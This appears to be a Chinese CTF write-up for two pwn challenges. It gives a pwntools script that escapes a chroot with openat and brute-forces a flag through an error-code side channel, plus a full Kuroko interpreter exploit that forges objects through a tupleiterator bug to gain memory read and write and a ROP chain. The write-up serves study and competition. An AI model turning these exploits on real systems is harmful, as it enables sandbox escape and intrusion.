<h1 id="trumanshow"><a href="https://imi-imiab.com/posts/cnblogs-19044898/#trumanshow" class="headerlink" title="trumanshow"></a>trumanshow</h1><p>这道题是侧信道，通过控制程序错误码来爆破flag</p>
<p>给的shellcode太短，把要设置的字符串flag和其它值read到栈上然后pop可以减少长度</p>
<p>虽然chroot了根目录，但是openat没有禁用，可以用openat的相对目录功能来打开flag</p>
<p>(fd = 2 -&gt; “&#x2F;“，然后rdi = 2, rsi = flag, rdx = 0, r10 = 0 即可)</p>
<p>最后就是爆破，因为过滤了那几个字符，我们不能用add和cmp</p>
<p>但是我们可以用sub和jb、ja、je来做同样的事情</p>
<p>注意flag字符包括过滤的那几个字符，所以可能要多次修改shellcode确保最终flag正确。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/bin/python3</span></span>
<span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./chtest&#x27;</span></span>
<span class="line"><span class="comment"># libc = ELF(&quot;./libc.so.6&quot;)</span></span>
<span class="line">host= <span class="string">&#x27;challenge.xinshi.fun&#x27;</span></span>
<span class="line">port= <span class="number">45912</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line"><span class="comment"># context.gdbpath = &#x27;/usr/bin/gdb&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>, <span class="string">&#x27;-h&#x27;</span>]</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>(<span class="params">offset, value</span>):</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    shellcode = <span class="string">f&quot;&quot;&quot;</span></span>
<span class="line"><span class="string">push rsp</span></span>
<span class="line"><span class="string">pop rsi</span></span>
<span class="line"><span class="string">push 0x7f</span></span>
<span class="line"><span class="string">pop rdx</span></span>
<span class="line"><span class="string">xor eax, eax</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">pop rax</span></span>
<span class="line"><span class="string">pop rax</span></span>
<span class="line"><span class="string">pop rax</span></span>
<span class="line"><span class="string">pop rdi</span></span>
<span class="line"><span class="string">pop rdx</span></span>
<span class="line"><span class="string">pop r10</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">push rax</span></span>
<span class="line"><span class="string">pop rdi</span></span>
<span class="line"><span class="string">pop rax</span></span>
<span class="line"><span class="string">pop rdx</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">mov al, byte ptr[rsi+<span class="subst">&#123;offset&#125;</span>]</span></span>
<span class="line"><span class="string">sub al, <span class="subst">&#123;value*<span class="number">2</span>&#125;</span></span></span>
<span class="line"><span class="string">sub al, <span class="subst">&#123;-value&#125;</span></span></span>
<span class="line"><span class="string"></span></span>
<span class="line"><span class="string">je loc1</span></span>
<span class="line"><span class="string">ud2</span></span>
<span class="line"><span class="string">loc1:</span></span>
<span class="line"><span class="string">&quot;&quot;&quot;</span></span>
<span class="line">    <span class="comment"># print(asm(shellcode))</span></span>
<span class="line">    </span>
<span class="line">    p.recvuntil(<span class="string">&quot;Now it&#x27;s your show time&quot;</span>)</span>
<span class="line">    s(asm(shellcode))</span>
<span class="line">    <span class="comment"># s(len(asm(shellcode)))</span></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    s(<span class="string">b&#x27;flag\x00\x00\x00\x00&#x27;</span>+p64(<span class="number">0</span>)+p64(<span class="number">0x101</span>)+p64(<span class="number">2</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0x7f</span>))</span>
<span class="line">    content = p.recvall(timeout=<span class="number">0.5</span>)</span>
<span class="line">    <span class="built_in">print</span>(content)</span>
<span class="line">    <span class="keyword">if</span> <span class="string">b&#x27;132&#x27;</span> <span class="keyword">in</span> content:</span>
<span class="line">        <span class="keyword">return</span> <span class="number">1</span></span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        <span class="keyword">return</span> <span class="number">0</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">bom</span>():</span>
<span class="line">    <span class="comment"># pwn(0, 0x80)</span></span>
<span class="line">    flag = <span class="string">&#x27;LILCTF&#123;64d0f0d6-ee5f-4373-8772-2e423bd887d1&#125;&#x27;</span></span>
<span class="line">           <span class="comment">#LILCTF&#123;64d0f0d6-ee5f-4373-?772-2e423bd??7d1&#125;</span></span>
<span class="line">    flag2 = <span class="string">&#x27;&#x27;</span></span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(flag)):</span>
<span class="line">        ans = u8(flag[i].encode())</span>
<span class="line">        j = <span class="number">0</span></span>
<span class="line">        <span class="keyword">if</span> pwn(i, ans) == <span class="number">0</span>:</span>
<span class="line">            flag2 += <span class="built_in">chr</span>(ans)</span>
<span class="line">            <span class="built_in">print</span>(flag2)</span>
<span class="line">            sleep(<span class="number">0.5</span>)</span>
<span class="line">            <span class="keyword">continue</span></span>
<span class="line">        times = <span class="number">0</span></span>
<span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span>
<span class="line">            times += <span class="number">1</span></span>
<span class="line">            <span class="keyword">if</span> times &gt; <span class="number">5</span>:</span>
<span class="line">                flag2 += <span class="string">&#x27;?&#x27;</span></span>
<span class="line">                <span class="keyword">break</span></span>
<span class="line">            j += <span class="number">1</span></span>
<span class="line">            ans += j</span>
<span class="line">            <span class="keyword">if</span> pwn(i, ans) == <span class="number">0</span>:</span>
<span class="line">                flag2 += <span class="built_in">chr</span>(ans)</span>
<span class="line">                <span class="keyword">break</span></span>
<span class="line">            j += <span class="number">1</span></span>
<span class="line">            ans -= j</span>
<span class="line">            <span class="keyword">if</span> pwn(i, ans) == <span class="number">0</span>:</span>
<span class="line">                flag2 += <span class="built_in">chr</span>(ans)</span>
<span class="line">                <span class="keyword">break</span></span>
<span class="line"></span>
<span class="line">        <span class="comment"># flag += chr(ans + 1)</span></span>
<span class="line">        <span class="built_in">print</span>(flag2)</span>
<span class="line">        sleep(<span class="number">0.5</span>)</span>
<span class="line">bom()</span>
<span class="line">p.interactive()</span>
<span class="line"></span>
<span class="line"><span class="comment"># 这里只有最终版本的shellcode，也就是验证用的shellcode</span></span>
<span class="line"><span class="comment"># 正常情况下你无法通过这一段shellcode较快地获得 flag</span></span>
<span class="line"><span class="comment"># 是先写二分拿到大概的flag， 然后再用这个shellcode校正错误的部分</span></span>
</pre></td></tr></table></figure>

<h1 id="kuroko"><a href="https://imi-imiab.com/posts/cnblogs-19044898/#kuroko" class="headerlink" title="kuroko"></a>kuroko</h1><p>不说了先上exp！</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> kuroko</span>
<span class="line">let MIN_NORMAL_FLOAT = <span class="number">2.2250738585072014e-308</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">parse_float</span>(<span class="params">val</span>):</span>
<span class="line">    let n = <span class="number">0</span></span>
<span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">list</span>(kuroko.inspect_value(val))[::-<span class="number">1</span>]:</span>
<span class="line">        n = (n &lt;&lt; <span class="number">8</span>) | x</span>
<span class="line">    <span class="keyword">return</span> n</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">create_float</span>(<span class="params">val</span>):</span>
<span class="line">    let krkvalue_holder = val.to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    let it = tupleiterator(<span class="built_in">id</span>(krkvalue_holder) - <span class="number">8</span>)</span>
<span class="line">    <span class="keyword">return</span> it()</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pow</span>(<span class="params">base, exp</span>):</span>
<span class="line">    <span class="comment"># Case 1: Exponent is zero</span></span>
<span class="line">    <span class="keyword">if</span> exp == <span class="number">0</span>:</span>
<span class="line">        <span class="keyword">return</span> <span class="number">1.0</span></span>
<span class="line"></span>
<span class="line">    <span class="comment"># Case 2: Handle negative exponents</span></span>
<span class="line">    let is_negative = exp &lt; <span class="number">0</span></span>
<span class="line">    <span class="keyword">if</span> is_negative:</span>
<span class="line">        exp = -exp</span>
<span class="line"></span>
<span class="line">    let result = <span class="number">1.0</span></span>
<span class="line">    let b = <span class="built_in">float</span>(base)</span>
<span class="line">    let e = exp</span>
<span class="line"></span>
<span class="line">    <span class="comment"># Efficiently calculate power for the positive exponent</span></span>
<span class="line">    <span class="keyword">while</span> e &gt; <span class="number">0</span>:</span>
<span class="line">        <span class="keyword">if</span> (e &amp; <span class="number">1</span>) == <span class="number">1</span>: <span class="comment"># If exponent is odd, multiply base into result</span></span>
<span class="line">            result *= b</span>
<span class="line">        b *= b</span>
<span class="line">        e = e &gt;&gt; <span class="number">1</span> </span>
<span class="line">        <span class="keyword">if</span> is_negative:</span>
<span class="line">        <span class="keyword">return</span> <span class="number">1.0</span> / result</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        <span class="keyword">return</span> result</span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">float_to_int64</span>(<span class="params">f</span>):</span>
<span class="line">    <span class="keyword">if</span> f == <span class="number">0.0</span>:</span>
<span class="line">        <span class="keyword">return</span> <span class="number">0</span></span>
<span class="line"></span>
<span class="line">    let sign_bit = <span class="number">0</span></span>
<span class="line">    <span class="keyword">if</span> f &lt; <span class="number">0</span>:</span>
<span class="line">        sign_bit = <span class="number">1</span> &lt;&lt; <span class="number">63</span></span>
<span class="line">    </span>
<span class="line">    let val = <span class="built_in">abs</span>(f)</span>
<span class="line">    </span>
<span class="line">    let exponent_biased = <span class="number">0</span></span>
<span class="line">    let mantissa = <span class="number">0</span></span>
<span class="line"></span>
<span class="line">    <span class="keyword">if</span> val &gt;= MIN_NORMAL_FLOAT:</span>
<span class="line">        let exponent = <span class="number">0</span></span>
<span class="line">        let mantissa_val = val</span>
<span class="line">        <span class="keyword">if</span> mantissa_val &gt;= <span class="number">1.0</span>:</span>
<span class="line">            <span class="keyword">while</span> mantissa_val &gt;= <span class="number">2.0</span>:</span>
<span class="line">                mantissa_val = mantissa_val / <span class="number">2.0</span></span>
<span class="line">                exponent += <span class="number">1</span></span>
<span class="line">        <span class="keyword">else</span>:</span>
<span class="line">            <span class="keyword">while</span> mantissa_val &lt; <span class="number">1.0</span>:</span>
<span class="line">                mantissa_val = mantissa_val * <span class="number">2.0</span></span>
<span class="line">                exponent -= <span class="number">1</span></span>
<span class="line">        </span>
<span class="line">        exponent_biased = exponent + <span class="number">1023</span></span>
<span class="line">        mantissa = <span class="built_in">int</span>((mantissa_val - <span class="number">1.0</span>) * <span class="number">4503599627370496</span>)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        exponent_biased = <span class="number">0</span></span>
<span class="line">        let mantissa_fraction = val / MIN_NORMAL_FLOAT</span>
<span class="line">        mantissa = <span class="built_in">int</span>(mantissa_fraction * <span class="number">4503599627370496</span>)</span>
<span class="line"></span>
<span class="line">    <span class="keyword">return</span> sign_bit | (exponent_biased &lt;&lt; <span class="number">52</span>) | mantissa</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    </span>
<span class="line"></span>
<span class="line">    let fake_array = <span class="built_in">bytearray</span>(<span class="number">0x1000</span>)</span>
<span class="line">    let fake_array_addr = <span class="built_in">id</span>(fake_array)</span>
<span class="line">    let list_class = <span class="built_in">id</span>([].__class__)</span>
<span class="line">    let fake_tuple_str = <span class="number">8.</span>to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_tuple_str += <span class="number">0.</span>to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_tuple_str += <span class="string">b&#x27;\x00\x00\x01\x00\x00\x00\x00\x00&#x27;</span></span>
<span class="line">    fake_tuple_str += <span class="string">b&#x27;\x00\x00\x01\x00\x00\x00\x00\x00&#x27;</span></span>
<span class="line">    let fake_tuple_str_addr =<span class="built_in">id</span>(fake_tuple_str)</span>
<span class="line">    fake_tuple_str += (fake_array_addr+<span class="number">0x3f</span>).to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_tuple_str += (fake_array_addr+<span class="number">0x48</span>).to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    let fake_tuple_str_addr2 = <span class="built_in">id</span>(fake_tuple_str)</span>
<span class="line">    let fake_iter = tupleiterator(<span class="built_in">id</span>(fake_tuple_str)+<span class="number">0x30</span>) </span>
<span class="line"></span>
<span class="line"></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(fake_tuple_str_addr))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(fake_tuple_str_addr2))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(<span class="built_in">id</span>(fake_array)))</span>
<span class="line">    <span class="comment"># print(next(fake_iter))</span></span>
<span class="line">    let varA = (float_to_int64(<span class="built_in">next</span>(fake_iter)) &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xffffffffffff</span></span>
<span class="line"></span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(fake_array_addr, varA-<span class="number">48</span>, <span class="number">8</span>):</span>
<span class="line">        <span class="built_in">next</span>(fake_iter)</span>
<span class="line">    let my_space = (float_to_int64(<span class="built_in">next</span>(fake_iter)) &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xffffffffffff</span></span>
<span class="line"></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(varA))</span>
<span class="line"></span>
<span class="line">    let id_addr = <span class="built_in">id</span>(<span class="built_in">id</span>)</span>
<span class="line">    let fake_group = <span class="number">8.</span>to_bytes(<span class="number">16</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_group += <span class="number">0x1000</span>.to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_group += <span class="number">0x1000</span>.to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_group += (my_space+<span class="number">32</span>).to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_group += (<span class="number">0x7ffd000000000000</span>|(my_space+<span class="number">48</span>)).to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    let fake_list = <span class="number">6.</span>to_bytes(<span class="number">16</span>,<span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_list += list_class.to_bytes(<span class="number">48</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_list += <span class="number">0x400000000000</span>.to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_list += <span class="number">0x400000000000</span>.to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line">    fake_list += <span class="built_in">id</span>(<span class="built_in">id</span>).to_bytes(<span class="number">8</span>, <span class="string">&#x27;little&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(fake_group)):</span>
<span class="line">        fake_array[i]=fake_group[i]</span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(fake_list)):</span>
<span class="line">        fake_array[i+<span class="built_in">len</span>(fake_group)]=fake_list[i]</span>
<span class="line"></span>
<span class="line">    let fake_iter2 = tupleiterator(my_space)</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(my_space))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(float_to_int64(<span class="built_in">next</span>(fake_iter2))))</span>
<span class="line">    let b = <span class="built_in">next</span>(fake_iter2)</span>
<span class="line">    let pie = b[<span class="number">2</span>]</span>
<span class="line"></span>
<span class="line">    pie = float_to_int64(pie)-<span class="number">0x5a40</span>-<span class="number">0x7000</span></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(my_space))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(<span class="built_in">id</span>(<span class="built_in">id</span>)))</span>
<span class="line"></span>
<span class="line">    let index = my_space+<span class="number">0x80</span>-<span class="built_in">id</span>(<span class="built_in">id</span>)</span>
<span class="line">    index = index&gt;&gt;<span class="number">3</span></span>
<span class="line">    let base = float_to_int64(b[index])</span>
<span class="line">    let stdout_pie = create_float(pie+<span class="number">0x99560</span>)</span>
<span class="line">    <span class="comment"># print(hex(my_space))</span></span>
<span class="line">    b[index] = stdout_pie</span>
<span class="line"></span>
<span class="line">    let stdout = float_to_int64(b[<span class="number">0</span>])</span>
<span class="line">    let libcbase = stdout-<span class="number">0x2045c0</span></span>
<span class="line">    let env_addr = libcbase + <span class="number">0x20ad58</span></span>
<span class="line">    <span class="comment"># print(hex(libcbase))</span></span>
<span class="line">    index = (env_addr-pie-<span class="number">0x99560</span>)&gt;&gt;<span class="number">3</span></span>
<span class="line">    let stack = parse_float(b[index])-<span class="number">0x138</span></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(stack))</span>
<span class="line">    index = (stack -pie-<span class="number">0x99560</span>)&gt;&gt;<span class="number">3</span></span>
<span class="line">    let flag = stack-<span class="number">0x30</span></span>
<span class="line">    let rdi = <span class="number">0x10f75b</span>+libcbase</span>
<span class="line">    let saddr = libcbase + <span class="number">0xeef30</span></span>
<span class="line">    let rsi =<span class="number">0x0110a4d</span>+libcbase</span>
<span class="line">    let edx = libcbase + <span class="number">0xb5db0</span></span>
<span class="line">    <span class="comment"># b[index-2]=create_float(0x6c6166646561722f)</span></span>
<span class="line">    b[index-<span class="number">6</span>]=create_float(<span class="number">0x616c66646165722f</span>)</span>
<span class="line">    b[index-<span class="number">5</span>]=create_float(<span class="number">0x67</span>)</span>
<span class="line">    <span class="comment"># b[index-6]=create_float(rdi+1)</span></span>
<span class="line">    <span class="comment"># b[index-5]=create_float(rdi+1)</span></span>
<span class="line">    b[index-<span class="number">4</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index-<span class="number">3</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index-<span class="number">2</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index-<span class="number">1</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">1</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">2</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">3</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">4</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">5</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">6</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">7</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">8</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">9</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    b[index+<span class="number">10</span>]=create_float(rdi+<span class="number">1</span>)</span>
<span class="line">    <span class="comment"># b[index+1]=create_float(rdi+1)</span></span>
<span class="line">    b[index+<span class="number">11</span>]=create_float(rdi)</span>
<span class="line">    b[index+<span class="number">12</span>]=create_float(flag)</span>
<span class="line">    b[index+<span class="number">13</span>]=create_float(rsi)</span>
<span class="line">    b[index+<span class="number">14</span>]=create_float(<span class="number">0</span>)</span>
<span class="line">    b[index+<span class="number">15</span>]=create_float(edx)</span>
<span class="line">    b[index+<span class="number">16</span>]=create_float(saddr)</span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">exit</span>():</span>
<span class="line">    <span class="keyword">return</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># while True:</span></span>
<span class="line">    <span class="comment"># let _daimi = 1</span></span>
</pre></td></tr></table></figure>

<p>好吧我并不知道怎么转float和int64，所以让ai用纯数学方法写了一版</p>
<p>（最后快做不完了于是便找出题人要了转化函数）</p>
<p>（尽管最后还是没在时间内做出来wuwu）</p>
<p>漏洞在tupleiterator()里面，直接传数字x进去，就会把数字x所在地址当作对象并构造迭代器</p>
<p><img src="https://imi-imiab.com/images/posts/00a437e0b7f429bfb3de.png" alt="PixPin\_2025-08-18\_14-46-10" loading="lazy" decoding="async"></p>
<p>可以看到成功crush。然后考虑配合id泄露出来的栈地址来伪造对象。</p>
<p>动调+ida可以看到，元组对象和列表对象大概是这样的</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">KrkInstance</span> // <span class="title">sizeof</span>=</span><span class="number">0x40</span> </span>
<span class="line">                   <span class="comment">// 列表属于instance，可以通过查看flag得到</span></span>
<span class="line">&#123;                                       <span class="comment">// XREF: Lock/r Thread/r ...</span></span>
<span class="line">    KrkObj obj;</span>
<span class="line">    KrkClass *_class;</span>
<span class="line">    KrkTable fields;</span>
<span class="line">&#125;;</span>
<span class="line"></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">KrkObj</span>       // <span class="title">type</span>最重要，其余随意</span></span>
<span class="line"><span class="class">&#123;</span></span>
<span class="line">  <span class="type">uint16_t</span> type;</span>
<span class="line">  <span class="type">uint16_t</span> flags;</span>
<span class="line">  <span class="type">uint32_t</span> hash;</span>
<span class="line">  KrkObj *next;</span>
<span class="line">&#125;;</span>
<span class="line"></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">KrkTable</span></span></span>
<span class="line"><span class="class">&#123;</span></span>
<span class="line">  <span class="type">size_t</span> count;         </span>
<span class="line">  <span class="type">size_t</span> capacity;</span>
<span class="line">  <span class="type">size_t</span> used;          <span class="comment">//这三个关系到对象的大小</span></span>
<span class="line">  KrkTableEntry *entries;   <span class="comment">//这里是一个对象指针</span></span>
<span class="line">  <span class="type">ssize_t</span> *indexes;</span>
<span class="line">&#125;;</span>
<span class="line"></span>
<span class="line"><span class="comment">/* 77 */</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> __int16 <span class="type">__uint16_t</span>;</span>
<span class="line"></span>
<span class="line"><span class="comment">/* 62 */</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="type">__uint16_t</span> <span class="type">uint16_t</span>;</span>
<span class="line"></span>
<span class="line"><span class="comment">/* 28 */</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">int</span> <span class="type">__uint32_t</span>;</span>
<span class="line"></span>
<span class="line"><span class="comment">/* 15 */</span></span>
<span class="line"><span class="keyword">typedef</span> <span class="type">__uint32_t</span> <span class="type">uint32_t</span>;</span>
<span class="line"></span>
<span class="line"><span class="comment">/* 66 */</span></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">KrkObj</span></span></span>
<span class="line"><span class="class">&#123;</span></span>
<span class="line">  <span class="type">uint16_t</span> type;</span>
<span class="line">  <span class="type">uint16_t</span> flags;</span>
<span class="line">  <span class="type">uint32_t</span> hash;</span>
<span class="line">  KrkObj *next;</span>
<span class="line">&#125;;</span>
<span class="line"></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">KrkTuple</span>     // 元组则有些许不同</span></span>
<span class="line"><span class="class">&#123;</span>                   <span class="comment">// 可以看到元组比list小得多</span></span>
<span class="line">  KrkObj obj;</span>
<span class="line">  KrkValueArray values;</span>
<span class="line">&#125;;</span>
<span class="line"></span>
<span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">KrkValueArray</span></span></span>
<span class="line"><span class="class">&#123;</span></span>
<span class="line">  <span class="type">size_t</span> capacity;</span>
<span class="line">  <span class="type">size_t</span> count;</span>
<span class="line">  KrkValue *values;</span>
<span class="line">&#125;;</span>
</pre></td></tr></table></figure>

<p>因为id可以泄露对象的地址，而对象里的指针和标记值我们往往是无法控制的</p>
<p>但我们可以控制对象指针指向的内容（比如说，list里的内容）</p>
<p>我们期望找到一种对象，他的内容紧邻对象本身分配。</p>
<p>（没有调试过局部变量情况的，后面可以补一下）</p>
<p>（如果有想复现这题的师傅，简易所有变量用函数包起来变成局部变量）</p>
<p>（全部全局变量的话会有奇怪的问题，调试感觉是编译器会一次性读取全部全局变量）</p>
<p>（然后再进行优化与分配，这样会导致一个问题）</p>
<p>（就是可能你后面写代码新建对象会影响到先前变量的分配。。。）</p>
<p>最后调试发现两种对象可以，分别是bytes字符数组和str字符串（均有大小限制）</p>
<p>最后为了方便选取字符数组，用to_bytes可以方便地转化</p>
<p>然后我们伪造如下对象</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"> 00 0008    // flags tuple</span>
<span class="line">+08         // next 下一个对象 我们不关心这个，所以随意</span>
<span class="line">+10 2^52    // capacity</span>
<span class="line">+18 2^52    // counts</span>
<span class="line">+20 id_addr // id(id) gdb可以在附近发现pie指针</span>
<span class="line">            // 用其它函数也可以</span>
</pre></td></tr></table></figure>

<p>伪造完毕后可以用next读取id对象附近内存</p>
<p>但是tuple目前只能读，我们还期望构造出任意写，这样才可以进行攻击</p>
<p>任意写的话就要构造list，但是实测由于list对象太大，没办法紧贴对象直接伪造出来</p>
<p>所以用我们刚刚获得的任意读来直接拿到一片我们可控的内存</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">let b = bytesarray(<span class="number">0x1000</span>)</span>
<span class="line">b_addr = <span class="built_in">id</span>(b)</span>
<span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">id</span>(<span class="built_in">id</span>), <span class="built_in">id</span>(b), <span class="number">8</span>):</span>
<span class="line">    <span class="built_in">next</span>(fake_iter)</span>
<span class="line"></span>
<span class="line">let b_array_addr = <span class="built_in">next</span>(fake_iter)</span>
<span class="line"></span>
<span class="line"><span class="comment"># 然后我们还要从array对象中拿内存地址</span></span>
<span class="line"><span class="comment"># 注意这个内存地址是带flags的，如果你直接用iter去读</span></span>
<span class="line"><span class="comment"># 会读出来0x1000个bytes</span></span>
<span class="line"><span class="comment"># 我的解决办法是在最初初始化的时候使指针往下偏移一位</span></span>
<span class="line"><span class="comment"># 这样iter就不会识别到指针，我们再从错位的数据里提取出地址</span></span>
</pre></td></tr></table></figure>

<p>于是我们拿到了一大片可读可写的空间，我们将在这里继续进行我们的攻击</p>
<p>构造</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="number">00</span>  <span class="number">6</span>               <span class="comment">// type=instance</span></span>
<span class="line"><span class="number">08</span>  <span class="number">0</span>       </span>
<span class="line"><span class="number">10</span>  list_class      <span class="comment">// id(list.__class__)</span></span>
<span class="line">--</span>
